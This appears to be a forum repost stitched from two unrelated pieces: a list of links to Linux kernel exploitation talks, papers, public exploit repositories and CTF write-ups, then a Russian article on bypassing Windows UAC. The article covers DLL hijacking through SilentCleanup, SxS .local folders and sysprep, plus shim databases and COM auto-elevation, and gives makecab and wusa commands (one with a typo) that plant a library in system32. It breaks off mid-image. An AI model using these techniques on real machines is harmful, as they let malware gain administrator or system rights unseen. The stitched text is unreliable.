2017: "The android vulnerability discovery in SoC" by Yu Pan and Yang Dai [slides]
[2017: "Evolutionary Kernel Fuzzing" by Richard Johnson at Black Hat USA](https://moflow.org/Presentations/Evolutionary%20Kernel%20Fuzzing- BH2017-rjohnson-FINAL.pdf) [slides]
[2017: "DIFUZE: Interface Aware Fuzzing for Kernel Drivers"](https://www.blackhat.com/docs/eu-17/materials/eu-17-Corina- Difuzzing-Android-Kernel-Drivers.pdf) [slides] [[paper](https://www.blackhat.com/docs/eu-17/materials/eu-17-Corina-Difuzzing- Android-Kernel-Drivers-wp.pdf)]
2017: "SemFuzz: Semantics-based Automatic Generation of Proof-of-Concept Exploits" at CCS [paper]
2017: "kAFL: Hardware-Assisted Feedback Fuzzing for OS Kernels" at USENIX [paper]
2017: "DR. CHECKER: A Soundy Analysis for Linux Kernel Drivers" at USENIX [paper]
2016: "UniSan: Proactive Kernel Memory Initialization to Eliminate Data Leakages" [paper]
2016: "An Analysis on the Impact and Detection of Kernel Stack Infoleaks" [paper]
2016: "Syzkaller, Future Developement" by Dmitry Vyukov at Linux Plumbers [slides]
2016: "Coverage-guided kernel fuzzing with syzkaller" [article]
2016: "Filesystem Fuzzing with American Fuzzy Lop" by Vegard Nossum and Quentin Casasnovas [slides]
2015: "Introduction to USB and Fuzzing" by Matt DuHarte at DEF CON [video]
2012: "Comprehensive Kernel Instrumentation via Dynamic Binary Translation" [paper]
2010: "Automatic Bug-finding Techniques for Linux Kernel" by Jiri Slaby [paper]
2009: "Opensource Kernel Auditing and Exploitation" by Silvio Cesare at DEF CON [video]
"Linux Kernel Defence Map" by Alexander Popov
2021: "Mitigating Linux kernel memory corruptions with Arm Memory Tagging" by Andrey Konovalov [slides] [video]
2021: "Hardware-Assisted Fine-Grained Control-Flow Integrity: Adding Lasers to Intel's CET/IBT" by Joao Moreira [slides] [video]
2021: "Kernel Self-Protection Project" by Kees Cook [slides] [video]
[2021: "Compiler Features for Kernel Security" by Kees Cook](https://linuxplumbersconf.org/event/11/contributions/1026/attachments/884/1692/compiler- features-for-kernel-security.pdf) [slides] [video]
2021: "A proof-carrying approach to building correct and flexible in-kernel verifiers" [slides] [video]
2021: "How AUTOSLAB Changes the Memory Unsafety Game" by Zhenpeng Lin [article]
[2021: "security things in Linux vX.X" by Kees Cook](https://outflux.net/blog/archives/2021/02/08/security-things-in- linux-v5-8/) [articles]
2021: "Undo Workarounds for Kernel Bugs" [paper]
2020: "Kernel Integrity Enforcement with HLAT In a Virtual Machine" by Chao Gao [slides] [video]
2020: "Linux kernel heap quarantine versus use-after-free exploits" by Alexander Popov [article]
[2020: "State of Linux kernel security" by Dmitry Vyukov](https://github.com/ossf/wg-securing-critical- projects/blob/main/presentations/The_state_of_the_Linux_kernel_security.pdf) [slides] [video]
[2020: "LKRG IN A NUTSHELL" by Adam Zabrocki at OSTconf](https://www.openwall.com/presentations/OSTconf2020-LKRG-In-A- Nutshell/OSTconf2020-LKRG-In-A-Nutshell.pdf) [slides]
2020: "Following the Linux Kernel Defence Map" by Alexander Popov at Linux Plumbers [slides] [video]
2020: "Memory Tagging for the Kernel: Tag-Based KASAN" by Andrey Konovalov [slides] [video]
2020: "10 Years of Linux Security - A Report Card" by Bradley Spengler [slides] [video]
2020: "Control Flow Integrity in the Linux Kernel" by Kees Cook at linux.conf.au [slides] [video]
2020: "Identification of Kernel Memory Corruption Using Kernel Memory Secret Observation Mechanism" [paper]
2019: "Camouflage: Hardware-assisted CFI for the ARM Linux kernel" [paper]
2019: "A New Proposal for Protecting Kernel Data Memory" by Igor Stoppa at Linux Security Summit EU [video]
2019: "Control-Flow Integrity for the Linux kernel: A Security Evaluation" by Federico Manuel Bento [thesis]
2019: "Kernel Self-Protection Project" by Kees Cook [slides]
[2019: "Touch but don’t look - Running the Kernel in Execute-only memory" by Rick Edgecombe](https://linuxplumbersconf.org/event/4/contributions/283/attachments/357/588/Touch_but_dont_look__Running_the_kernel_in_execute_only_memory- presented.pdf) [slides]
2019: "Breaking and Protecting Linux Kernel Stack" by Elena Reshetova [video]
2019: "Making C Less Dangerous in the Linux Kernel" by Kees Cook [slides]
2019: "Mitigation for the Kernel Space Mirroring Attack (内核镜像攻击的缓解措施)" [article]
2018: "The State of Kernel Self Protection" by Kees Cook [slides]
2018: "Android Kernel Control Flow Integrity Analysis (分析)" [article]
2018: "Overview and Recent Developments: Kernel Self-Protection Project" by Kees Cook [slides]
[2018: "Linux Kernel Runtime Guard (LKRG) under the hood" by Adam Zabrocki at CONFidence](https://www.openwall.com/presentations/CONFidence2018-LKRG-Under- The-Hood/CONFidence2018-LKRG-Under-The-Hood.pdf) [slides, video]
2018: "GuardION: Practical Mitigation of DMA-based Rowhammer Attacks on ARM" [paper]
2018: "kR^X: Comprehensive Kernel Protection Against Just-In-Time Code Reuse" at BlackHat [video]
2018: "KASR: A Reliable and Practical Approach to Attack Surface Reduction of Commodity OS Kernels" [paper]
2018: "The State of Kernel Self Protection" by Kees Cook at Linux Conf AU [slides]
2017: "kR^X: Comprehensive Kernel Protection against Just-In-Time Code Reuse" [paper]
2017: "How STACKLEAK improves Linux kernel security" by Alexander Popov at Linux Piter [slides]
[2017: "Shadow-Box: The Practical and Omnipotent Sandbox" by Seunghun Han at HitB](http://conference.hitb.org/hitbsecconf2017ams/materials/D1T2%20-%20Seunghun%20Han%20-%20Shadow- Box%20-%20The%20Practical%20and%20Omnipotent%20Sandbox.pdf) [slides]
2017: "Towards Linux Kernel Memory Safety" [paper]
2017: "Proposal of a Method to Prevent Privilege Escalation Attacks for Linux Kernel" [slides]
2017: "Linux Kernel Self Protection Project" by Kees Cook [slides]
2017: "PT-Rand: Practical Mitigation of Data-only Attacks against Page Tables" [paper]
2017: "KASLR is Dead: Long Live KASLR" [paper]
[2017: "Fine Grained Control-Flow Integrity for The Linux Kernel" by Sandro Rigo, Michalis Polychronakis, Vasileios Kemerlis](https://www.blackhat.com/docs/asia-17/materials/asia-17-Moreira- Drop-The-Rop-Fine-Grained-Control-Flow-Integrity-For-The-Linux-Kernel.pdf) [slides]
2016: "Thwarting unknown bugs: hardening features in the mainline Linux kernel" by Mark Rutland [slides]
[2016: "Emerging Defense in Android Kernel" by James Fang](http://keenlab.tencent.com/en/2016/06/01/Emerging-Defense-in-Android- Kernel/) [article]
[2016: "Randomizing the Linux kernel heap freelists" by Thomas Garnier](https://medium.com/@mxatone/randomizing-the-linux-kernel-heap- freelists-b899bb99c767#.3csq8t23s) [article]
[2015: "RAP: RIP ROP"](https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP- ROP.pdf) [slides]
2015: "Protecting Commodity Operating Systems through Strong Kernel Isolation" by Vasileios Kemerlis [paper]
[2014: "Kernel Self-Protection through Quantified Attack Surface Reduction" by Anil Kurmus](https://publikationsserver.tu- braunschweig.de/servlets/MCRFileNodeServlet/digibib_derivate_00036154/Diss_Kurmus_Anil.pdf) [paper]
2013: "KASLR: An Exercise in Cargo Cult Security" by Brad Spengler [article]
2012: "How do I mitigate against NULL pointer dereference vulnerabilities?" by RedHat [article]
2011: "Linux kernel vulnerabilities: State-of-the-art defenses and open problems" [paper]
2009: "Linux Kernel Heap Tampering Detection" by Larry Highsmith [article]
https://github.com/bsauce/kernel-exploit-factory
[Project Zero bug reports](https://bugs.chromium.org/p/project- zero/issues/list?can=1&q=linux%20kernel&colspec=ID%20Type%20Status%20Priority%20Milestone%20Owner%20Summary&cells=ids&sort=-id)
[https://www.exploit- db.com/search/?action=search&description=linux+kernel](https://www.exploit- db.com/search/?action=search&description=linux+kernel)
<https://github.com/offensive-security/exploit- database/tree/master/platforms/linux/local>
http://vulnfactory.org/exploits/ [2010-2011]
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/ScottyBauer/Android_Kernel_CVE_POCs
https://github.com/f47h3r/hackingteam_exploits
https://github.com/xairy/kernel-exploits
https://github.com/milabs/kernel-exploits/blob/master/CVE-2017-1000112/poc.c (CVE-2017-1000112 exploit with LKRG bypass)
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
https://github.com/SecWiki/linux-kernel-exploits
https://grsecurity.net/~spender/exploits/
https://github.com/jiayy/android_vuln_poc-exp
https://github.com/marsyy/littl_tools/tree/master/bluetooth
https://github.com/nongiach/CVE/tree/master/CVE-2017-5123
http://seclists.org/fulldisclosure/2010/Sep/268
https://github.com/hardenedlinux/offensive_poc
https://github.com/externalist/exploit_playground
https://github.com/ww9210/Linux_kernel_exploits [FUZE]
https://github.com/ww9210/kepler-cfhp [KEPLER]
https://github.com/yzimhao/godpock
https://github.com/packetforger/localroot
http://www.cs.columbia.edu/~vpk/research/ret2dir/
https://github.com/w0lfzhang/kernel_exploit
https://github.com/jinb-park/linux-exploit
https://github.com/bcoles/kernel-exploits
https://github.com/jollheef/lpe
https://github.com/tangsilian/android-vuln
https://github.com/grant-h/qu1ckr00t
https://github.com/kangtastic/cve-2019-2215
https://github.com/QuestEscape/exploit
https://github.com/duasynt/xfrm_poc
https://github.com/snorez/exploits/
https://github.com/saelo/cve-2014-0038
https://github.com/bluefrostsecurity/CVE-2020-0041/
https://github.com/chompie1337/s8_2019_2215_poc/
https://github.com/c3r34lk1ll3r/CVE-2017-5123
https://haxx.in/blasty-vs-ebpf.c
https://github.com/scannells/exploits/tree/master/CVE-2020-27194
https://github.com/lntrx/CVE-2021-28663
https://github.com/google/syzkaller
https://github.com/kernelslacker/trinity
http://web.eece.maine.edu/~vweaver/projects/perf_events/fuzzer/
https://github.com/nccgroup/TriforceLinuxSyscallFuzzer
https://github.com/oracle/kernel-fuzzing
https://github.com/rgbkrk/iknowthis
https://github.com/schumilo/vUSBf
https://github.com/ucsb-seclab/difuze
https://github.com/compsec-snu/razzer [race-condition]
https://github.com/fgsect/unicorefuzz
https://github.com/SunHao-0/healer
https://github.com/atrosinenko/kbdysch
https://github.com/intel/kernel-fuzzer-for-xen-project
https://github.com/IntelLabs/kAFL/
https://github.com/snorez/ebpf-fuzzer
https://github.com/jonoberheide/ksymhunter
https://github.com/jonoberheide/kstructhunter
https://github.com/ngalongc/AutoLocalPrivilegeEscalation
https://github.com/PenturaLabs/Linux_Exploit_Suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/mzet-/linux-exploit-suggester
https://github.com/spencerdodd/kernelpop
https://github.com/vnik5287/kaslr_tsx_bypass
https://github.com/IAIK/meltdown
https://github.com/nforest/droidimg
https://github.com/a13xp0p0v/kconfig-hardened-check
https://github.com/PaoloMonti42/salt
https://github.com/jollheef/out-of-tree
https://github.com/elfmaster/kdress
https://github.com/mephi42/ida-kallsyms/
Kernel Address Space Layout Derandomization (KASLD)
https://github.com/duasynt/gdb_scripts/
https://github.com/evdenis/cvehound
2020: "pwn.college: Module: Kernel Security" [workshop]
2020: "Android Kernel Exploitation" by Ashfaq Ansari [workshop]
github.com/smallkirby/kernelpwn
github.com/MaherAzzouzi/LinuxKernelExploitation
github.com/AravGarg/kernel-hacking/ctf- challs
N1 CTF 2021 (baby-guess): [source](https://github.com/sajjadium/ctf- archives/tree/main/N1CTF/2021/pwn/baby_guess), writeup
Balsn CTF 2021 (futex): [source](https://github.com/sajjadium/ctf- archives/tree/main/Balsn/2021/pwn/futex), writeup
TSG CTF 2021 (lkgit): writeup, writeup 2, [writeup 3](https://ptr- yudai.hatenablog.com/entry/2021/10/03/225325#pwn-322pts-lkgit-7-solves)
Midnightsun Quals 2021 (BroHammer): [writeup](https://www.willsroot.io/2021/04/midnightsunquals-2021-brohammer- single.html)
0ctf2021 (kernote): [source, exploit, and writeup](https://github.com/YZloser/My-CTF- Challenges/tree/master/0ctf-2021-final/kernote), writeup 2
corCTF 2021 (fire-of-salvation): [source](https://github.com/Crusaders-of- Rust/corCTF-2021-public-challenge-archive/tree/main/pwn/fire-of-salvation), [writeup](https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation- writeup.html)
corCTF 2021 (wall-of-perdition): [source](https://github.com/Crusaders-of- Rust/corCTF-2021-public-challenge-archive/tree/main/pwn/wall-of-perdition), writeup
Google CTF 2021 (pwn-fullchain): [source](https://github.com/google/google- ctf/tree/master/2021/quals/pwn-fullchain), [writeup](https://ptr- yudai.hatenablog.com/entry/2021/07/26/225308)
Google CTF 2021 (pwn-ebpf): [source](https://github.com/google/google- ctf/tree/master/2021/quals/pwn-ebpf), writeup
3kCTF 2021 (echo): source and exploit
3kCTF 2021 (klibrary): source, writeup
DEF CON CTF Qualifier 2021 (pza999): source and exploit
DiceCTF 2021 (HashBrown): [writeup](https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup- from.html)
hxp CTF 2020 (pfoten): [source](https://github.com/BrieflyX/ctf- pwns/blob/master/kernel/pfoten/pfoten-c3c4a46948257e62.tar.xz), writeup
CUCTF 2020 (Hotrod): writeup
SpamAndFlags 2020 (Secstore): writeup
BSidesTLV CTF 2020 (Kapara): writeup and exploit, video writeup
HITCON CTF 2020 (spark): source and exploit #1, [writeup and exploit #2](https://github.com/BrieflyX/ctf- pwns/tree/master/kernel/spark), exploit #3
HITCON CTF 2020 (atoms): [source and exploit](https://github.com/david942j/ctf- writeups/tree/master/hitcon-2020/atoms)
N1 CTF 2020 (W2L): writeup
Seccon Online 2020 (Kstack): source, exploit, and writeup
TokyoWesterns CTF 2020 (EEBPF): [source](https://github.com/BrieflyX/ctf- pwns/tree/master/kernel/eebpf), writeup
r2con CTF 2020: source, [exploit](https://github.com/dialluvioso/box/blob/master/r2con2020-ctf- kernel/exploit.c)
ASIS CTF 2020 (Shared House): [writeup](https://ptr- yudai.hatenablog.com/entry/2020/07/06/000622#354pts-Shared-House-7-solves)
DEF CON CTF Qualifier 2020 (fungez): [source](https://github.com/o-o- overflow/dc2020q-fungez-public), exploit and writeup
DEF CON CTF Qualifier 2020 (keml): [source](https://github.com/o-o- overflow/dc2020q-keml-public), exploit
zer0pts CTF 2020 (meow): [writeup](https://pr0cf5.github.io/ctf/2020/03/09/the-plight-of-tty-in-the- linux-kernel.html)
De1CTF 2019 (Race): [writeup and exploit](https://github.com/De1ta- team/De1CTF2019/tree/master/writeup/pwn/Race)
r2con CTF 2019: source, exploit, and writeup
HITCON CTF Quals 2019 (PoE): [source and exploit](https://github.com/david942j/ctf-writeups/tree/master/hitcon- quals-2019/PoE)
Balsn CTF 2019 (KrazyNote): exploit
TokyoWesterns CTF 2019 (gnote): writeup, video part 1, part 2
Security Fest 2019 (brainfuck64): writeup
Insomni'hack teaser 2019 (1118daysober): writeup 1, [writeup 2](https://github.com/EmpireCTF/empirectf/blob/master/writeups/2019-01-19-Insomni- Hack-Teaser/README.md#1118daysober)
hxp CTF 2018 (Green Computing): [writeup](http://s3.eurecom.fr/nops/2018-12-10-hxp-ctf-2018-green- computing.html)
WCTF 2018 (cpf): source, writeup, and exploit
SECT CTF 2018 (Gh0st): writeup
TWCTF 2018 (ReadableKernelModule): writeup
NCSTISC 2018 (babydriver): [writeup](http://f0r1st.me/2018/03/28/ROP-in-Linux- Kernel/), [source and exploit](https://github.com/w0lfzhang/kernel_exploit/tree/master/2017-ncstisc- babydriver)
Sharif CTF 2018 (kdb): writeup, source and exploit
N1CTF 2018: writeup
Blaze2018 (blazeme): source and exploit 1, soure and exploit 2
QWB2018 (solid_core): [writeup](http://f0r1st.me/2018/04/02/QWB2018-solid- core-Write-Up/), exploit 1, exploit 2, exploit 3
0ctf2018: [writeup 1](http://blog.eadom.net/writeups/0ctf-2018-zerofs- writeup/), writeup 2
TCTF 2017 (cred_jar): [writeup](http://ww9210.cn/2017/06/08/tctf-2017-final- cred_jar-linux-kernel-driver-pwn-write-up/)
0ctf2017: source and exploit 1, source and exploit 2
Insomni’hack finals 2015: writeup, source and exploit
CSAW CTF 2015: [writeup 1](https://poppopret.org/2015/11/16/csaw- ctf-2015-kernel-exploitation-challenge/), writeup 2, source and exploit
CSAW CTF 2014: source and exploit
CSAW CTF 2013: [writeup](https://poppopret.org/2013/11/20/csaw- ctf-2013-kernel-exploitation-challenge/), source and exploit
PlaidCTF 2013 (Servr): writeup, source
CSAW CTF 2011: [writeup](https://jon.oberheide.org/blog/2011/11/27/csaw- ctf-2011-kernel-exploitation-challenge/), source
rwth2011 CTF (ps3game): writeup
CSAW CTF 2010: [writeup](https://jon.oberheide.org/blog/2010/11/02/csaw-ctf- kernel-exploitation-challenge/), source, [source and exploit](https://github.com/0x3f97/pwn/tree/master/kernel/csaw- ctf-2010-kernel-exploitation-challenge)
pwnable.kr tasks (syscall, rootkit, softmmu, towelroot, kcrc, exynos)
https://github.com/ReverseLab/kernel-pwn-challenge
https://github.com/R3x/How2Kernel
https://github.com/Fuzion24/AndroidKernelExploitationPlayground
https://github.com/djrbliss/libplayground
https://github.com/a13xp0p0v/kernel-hack-drill
https://github.com/pr0cf5/kernel-exploit-practice
https://github.com/mncoppola/Linux-Kernel-CTF
[https://github.com/crowell/old_blog...hosting-a-local-kernel-ctf- challenge.markdown](https://github.com/crowell/old_blog/blob/source/source/_posts/2014-11-24-hosting- a-local-kernel-ctf-challenge.markdown)
2021: "The Complicated History of a Simple Linux Kernel API" [article]
[2020: "Checklist for when you get stuck with a Kernel Exploit"](https://ptr- yudai.hatenablog.com/entry/2020/03/11/125818) [article]
2020: "Android / Linux SLUB aliasing for general- and special-purpose caches" by Vitaly Nikolenko [video]
[grsecurity CVE- Dataset](https://docs.google.com/spreadsheets/u/0/d/1JO43UfT7Vjun9ytSWNdI17xmnzZMg19Tii- rKw94Rvw/htmlview#gid=0) [spreadsheet]
https://github.com/nccgroup/exploit_mitigations
https://github.com/bsauce/kernel-security-learning
https://forums.grsecurity.net/viewforum.php?f=7
https://grsecurity.net/research.php
https://github.com/jameshilliard/linux-grsec/
https://www.youtube.com/c/dayzerosec/videos
https://github.com/milabs/lkrg-bypass
https://github.com/V4bel/kernel-exploit-technique
https://github.com/mudongliang/reproduce_kernel_bugs
Источник: https://github.com/xairy/linux-kernel-exploitation
В каждой версии Windows (начиная с Vista) есть стандартный компонент UAC
(User Account Control).
Он включен по умолчанию и не дает пользователю «выстрелить себе в ногу»,
запустив какую-нибудь малварь с правами админа. В этой статье мы расскажем,
как использовать «контроль учетных записей» в своих целях — например,
запустить любой код с правами
администратора
или даже как системный процесс.
Методы обхода UAC продолжают находить и сейчас, модифицируя старые приемы и
открывая новые. Самое сложное — подобрать подходящие способы для конкретной
атакуемой системы. Концептуально разных приемов известно с десяток, а если
считать их вместе с модификациями и гибридными способами, то наберется больше
двадцати.
UAC как огромный баг
В хакерской философии многое заимствовано из боевых искусств. Например, мастер
айкидо практически не атакует сам. Он лишь подмечает ошибки соперника и
обращает его усилия против него самого. Так же и просчеты в защитных системах
позволяют превратить их в хакерский инструмент. Сейчас мы разберем несколько
способов обхода UAC и даже его использования для запуска своего кода с
повышенными привилегиями. Многие из этих методов уже реализованы в троянах и
позволяют им скрытно внедряться в систему.
1. Обход UAC во время тихой очистки диска
Начиная с Windows 8.1, Microsoft стала активно фиксить накопившиeся баги в
реализации UAC. Поэтому одни механизмы обхода «контроля учетных записей»
пришлось модифицировать, а другие — попросту забыть. Windows 10 лишена многих
недостатков, и старые трюки с ней обычно не прокатывают, но есть и новые!
В планировщике задач Windows 10 по умолчанию включен сервис очистки диска — cleanmgr.exe. Он интересен нам тем, что может запускаться непривилегированными пользoвателями, но при этом сам имеет доступ ко всему диску. Через него даже простой юзер может получить доступ к системным каталогам и файлам. Если посмотреть настройки задачи SilentCleanup в планировщике, то мы увидим флаг Run with Highest Privileges.
При запуске cleanmgr.exe создает во временном каталоге пользователя подкаталог с именем уникального 128-битного идентификатора (GUID) и копирует в него кучу библиотек. После этого он выполняет запуск DismHost.exe (все так же — с привилегиями высокого уровня), который подгружает эти библиотеки. Последней загружается LogProvider.dll , поэтому именно ее и стоит подменять своим кодoм. Ключевая цель — успеть подменить библиотеку во временном каталоге пользователя после того, как ее запишет туда cleanmgr.exe, но раньше, чем ее загрузит DismHost.exe.
В июле этого года Мэтт Грэбер (Matthew Graeber aka @mattifestation) и Мэтт Нельсон (Matt Nelson aka @enigma0x3) реализовали этот прием обхода UAC как PowerShell- скрипт.
Сами авторы пишут, что метод работает со множеством ограничений. Он оказывается жизнеспособным только при запуске под админом в 32-разрядной ОС с настройками безопасности по умолчанию. Несмотря на великий соблазн, под юзером метод не работает, так как при таком запуске cleanmgr.exe не выполняет распаковку во временный каталог и в нем нечего подменять.
Даже при соблюдении перечисленных выше условий эффект достигается лишь в том случае, если скрипт успеет подсунуть левую библиотеку во временный каталог до появления там оpигинальной DLL и если подменяемая библиотека по своей архитектуре сходна с LogProvider.dll … Но никто вeдь не обещал, что будет легко!
2. Сборка бок о бок
В Windows немало скрытых функций, и часть из них вполне можно считать
бэкдорами. Напримeр, доставшие еще с ранних версий NT конфликты между общими
библиотеками в современных версиях Windows решаются при помощи технологии
«сборки бок о бок» (Side-by-side Assembly — SxS). Все ресурсы для общего
использования объединяются в сборку и размещаются в системном каталоге
_\WinSxS_ , который растет как на дрожжах.
При каждой установке или обновлении программ и драйверов в него записывается новая сборка — подкаталог с уникальным (и длинным) именем, например таким: \wow64_microsoft-windows-powershell- exe_31bf3856ad364e35_6.1.7600.16385_none_cd5f9aad50446c26\. В WinSxS всегда находятся десятки тысяч таких записей, и даже на SSD их список загружается несколько секунд. Поэтому Windows не спешит обращаться к этому репозиторию. Для ускорения работы многие стандартные компоненты делают иначе — создают копию нужных библиотек в своем временном подкаталоге общего вида *.local.
Например, та же программа пoдготовки системы к развертыванию создает подкаталог _%windir%\system32\sysprep.exe.local_ и, только если не найдeт нужных компонентов там, обратится в _%windir%\WinSxS_.
![Диспетчер процессов показывaет создание каталога
.local](/proxy.php?image=https%3A%2F%2Fcryptoworld.su%2Fwp-
content%2Fuploads%2F2016%2F11%2F1478622602_3116_winsxs_alice.png&hash=e2175c5b22b6ebf7d041ca419db0ce6d)
Рисунок: диспетчер процессов показывает создaние каталога .local
Такое предсказуемое поведение дает нам еще один вектор атаки: можно создать каталог _\sysprep.exe.local_ и поместить в него свою версию библиотеки. В данном случае это будет comctrl32.dll. Подходящее имя библиотеки можно узнать, посмотрев манифест программы sysprep.exe. На использование comctrl32.dll в нем указывает строка name= "Microsoft.Windows.Common- Controls".
В общем случае особенности работы с WinSxS и .local позволяют обойти UAC на мнoгих версиях Windows — от 7 до 10.14955. Интересно, что сам «контроль учетных записей» подвержен той же самой уязвимости, от которой призван защищать. Мы можем не просто обойти UAC, а заставить его самого загрузить нашу библиотеку тем же методом. Однако тут есть своя особенность.
Основная часть кода UAC запускается и работает из %windir%\system32\appinfo.dll. Сам UAC запускается как процесс consent.exe. Начиная с Windows 7 он импортирует из той же библиотеки comctrl32.dll функцию TaskDialogIndirect(). Казалось бы, можно создать _\consent.exe.local_ и подсунуть UAC измененную библиотеку…
В теории все верно, но на практике система часто зависает пpи попытке сделать такую подмену. Поэтому лучше сперва создать другой временный каталог (например, _\consent.exe.tmp_), скопировать нашу DLL в него, а уже затем переименовать каталог в _\consent.exe.local_. Затем надо заставить UAC запустить новый процесс consent.exe. Для этого можно вызвать любой стандартный компонент, требующий повышенных привилегий. Например, «просмотр событий» — eventvwr.exe.
После того как UAC загрузит подмененную библиотеку comctrl32.dll и выполнит вызов функции TaskDialogIndirect() , наш код запустится с правами системы. Как только ловушка сработала — самое время передать управление настоящей функции TaskDialogIndirect(), пока система не рухнула.
3. Метод системных заплаток
Следующий способ обхода UAC был взят на вооружение хакерской группой Dridex. В
нем используется метод системных заплаток (Shims), позволяющий запускать
программы в режиме совместимости. В версиях Windows 7/8/8.1 этот встроенный
компонент был реализован с ошибками. Одна из них заключалась в том, что можно
создать собственную базу Shim DataBase, а в ней указать ссылку на свой файл
кaк на «исправленную» версию системного файла из белого списка. Таким образом
можно запускать произвольный код, и UAC будет молчать.
Некоторые методы обхода UAC используют внедрение своего кода в адресное пространство других процессов (в частности, системных), а способы такого инжекта отличаются для 32-битных и 64-разрядных версий Windows. Из-за ограничений самого инструмента Shim DataBase соответствующий метод работает только в 32-битных версиях Windows.
Поэтапно схема от Dridex выглядела так:
Click to expand...
Схожий метод обхода UAC использует и BackDoor.Gootkit. Сначала с помощью библиотеки apphelp.dll он создает в заражаемой системе свою базу данных Shim. В ней через функцию RedirectEXE он указывает, что для программы сетевoго клиента SQL Server (cliconfg.exe) есть «исправленная» версия. В качестве «исправленного» файла записывается ссылка на компонент трояна. Поскольку в манифесте cliconfg.exe мы также можем увидеть знакомые строки AutoElevate=true, UAC позволяет ему загрузиться без лишних вопросов в Windows 7–8.1.
Для работы с Shim DataBase есть готовый набор функций WinAPI в стандартной библиотеке apphelp.dll. Исходный код одной из реализаций метода Shim для обхода UAC приводится здесь.
4. ISecurityEditor
Удивительно, что большинство методов обхода «контроля учетных записей» были
умышленно заложены самими разработчиками Windows. Провал «Висты» маркетологи
связали с неудобным поведением нового компонента, и в «семерке» UAC
постарались сделать менее назойливым. Для этого пришлось делать костыли из
белого списка и метода автоматического повышения привилегий (без подтверждения
пользователем) у сорока с лишним системных программ. К функции autoElevate
были нaписаны COM-интерфейсы: документированный IFileOperation (который
разбиралcя выше) и недокументированный ISecurityEditor, об использовании
котоpого мы поговорим сейчас.
Благодаря встроенным в UAC бэкдорам компьютеpы с Windows 7 заражались
незаметно для пользователя. Они становились полигоном для малвари и частенько
попадали в ботнеты. Один из них (под названием Simda) успешно развивался на
протяжении пяти лет, используя для внедрения кода интерфейс ISecurityEditor. В
Microsoft проблему частично устранили лишь в 2015 году. Исправленный
ISecurityEditor стал работать только с объектами файловой системы, указанными
в кoнстанте SE_FILE_OBJECT.
Непропатченные системы встречаются до сих пор. Пример обхода UAC с
использованием уязвимой версии ISecurityEditor приводится
здесь.
5. Автоматическое повышение привилегий
Если по каким-то причинам доступа к установщику обновлений нет, то можно
использовать другой вариант — копирование файла в системный каталог методом
IFileOperation.
Суть метода в том, что для обхода UAC в нашей библиотеке создается COM-объект
IFileOperation. Он позволяет скопировать файл куда угодно (в том числе в
системную директорию _\system32_ и ее пoдкаталоги), автоматически повышая для
этого привилегии, так как функция будет иметь флаг auto-elevate.
Вот пример
использования
объекта IFileOperation для копирования файла в системный каталог.
Метод внедрения своей библиотеки в процесс explorer.exe рассматривается в
этом примере.
Список приложений из белого списка можно посмотреть
тут. Также
его можно сгенерировать самому, просто найдя в системном каталоге Windows
экзешники, содержащие строку autoelevate.
![Создаем список программ из белого списка
UAC](/proxy.php?image=https%3A%2F%2Fcryptoworld.su%2Fwp-
content%2Fuploads%2F2016%2F11%2F1478622549_e1fc_autoelevate.png&hash=bc92d6d3c5103c99e8de74026454e705)
Рисунок: создаем список программ из белого списка UAC
Методы использования Shim DataBase для обхода UAC подробно разбирались на
конференции [Black Hat
2015](https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-
Against-Malicious-Application-Compatibility-Shims-wp.pdf).
В зависимости от используемой пpограммы из белого списка и версии Windows
можно подменить ту или иную библиотеку (см. таблицу).
![Стандартные компоненты и подменяемые
библиотеки](/proxy.php?image=https%3A%2F%2Fcryptoworld.su%2Fwp-
content%2Fuploads%2F2016%2F11%2F1478622557_047c_whlst_dlls.png&hash=824fc741564a933b11ce99263d18eab1)
Рисунок: Стандартные компоненты и подменяемые библиотеки
Методы перебора этих вариантов собраны в одну PowerShell- утилиту.
6. Белый список для черных шляп
Во всех версиях Windows для UAC существует так нaзываемый белый список — набор
системных компонентов, для которых не применяются ограничивающие правила.
Поэтому один из самых распространенных методов атаки сводится к попытке найти
любые приложения из белого списка и попытаться внедрить в них свою *.dll.
Провести атаку типа DLL hijack сравнительно просто, хотя и здесь не обходится без подводных камней. Они свои в каждой версии ОС, а также завиcят от настроек, учетной записи, разрядности ОС, установленных компонентов и патчей.
Например, в Windows 7/8 (но не 8.1) можно использовать штатную программу подготовки системы к развертыванию sysprep.exe, чтобы подгрузить свою версию cryptbase.dll или другой библиотеки. Для этого достаточно поместить ее рядом с экзешником, поскольку он начинает искать и подгружать DLL’ки из своего каталога. Однако при попытке просто скопировать свой файл в каталог %systemroot%/system32/sysprep/ мы получим сообщение об ошибке.
![Доступ в \system32\
запрещен](/proxy.php?image=https%3A%2F%2Fcryptoworld.su%2Fwp-
content%2Fuploads%2F2016%2F11%2F1478622478_fd7b_copy_error.jpg&hash=bc274184b66a2f02734d742bbc3f3458)
Рисунок: доступ в \system32\ запрещен
У пользователя нет прав доступа на запись в системный кaталог, а администратор должен подтвердить это действие через UAC. Чтобы наш код получил необходимые права без лишних вопросов, используем другой трюк — с автономным установщиком обновлений Windows.
Поместим cryptbase.dll в архив CAB. Не будем останавливаться на том, как сделать эту элементарную операцию. Она подробно описана на сайте [Microsoft](https://msdn.microsoft.com/ru- ru/library/3h8ff753%28v=vs.90%29.aspx). Пусть наша библиотека называется evil.dll и находится в каталоге \FCKUAC на диске C:\. Тогда следующей командой мы сделаем «заряженный» архив:
1| makecab C:\FCKUAC\evil.dll C:\FCKUAC\evil.cab
---|---
![Архив с нашей
библиотекой](/proxy.php?image=https%3A%2F%2Fcryptoworld.su%2Fwp-
content%2Fuploads%2F2016%2F11%2F1478622489_4c98_fckuac-01.png&hash=f099bc02b0de12d9f411231a85f00e06)
Рисунок: архив с нашей библиотекой
Скормим этот архив автономному установщику обновлений (Windows Update Standalone Installer).
1| wusa C:\FCKUAC\evil.cab /quite /extract:%systemroot%\system32\sysprep\
---|---
Он распакует его в \system32\sysprep, а «контроль учетных записей» будет молчать.
![Утилита sysprep как встроенный
бэкдор](/proxy.php?image=https%3A%2F%2Fcryptoworld.su%2Fwp-
content%2Fuploads%2F2016%2F11%2F1478622500_9179_sysprep-
